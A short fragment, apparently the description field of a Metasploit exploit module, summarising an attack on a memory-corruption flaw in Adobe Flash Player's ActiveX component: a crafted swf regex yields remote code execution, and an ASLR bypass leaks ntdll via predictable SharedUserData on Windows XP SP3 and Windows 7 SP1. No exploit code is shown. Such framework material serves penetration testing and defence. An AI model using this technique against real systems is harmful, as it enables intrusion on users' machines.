'Description'=> %q{
This module exploits a vulnerability found in the ActiveX component of Adobe
Flash Player before 11.5.502.149. By supplying a specially crafted swf file
with special regex value, it is possible to trigger an memory corruption, which
results in remote code execution under the context of the user, as exploited in
the wild in February 2013. This module has been tested successfully with Adobe
Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before
MS13-063, since it takes advantage of a predictable SharedUserData in order to
leak ntdll and bypass ASLR.
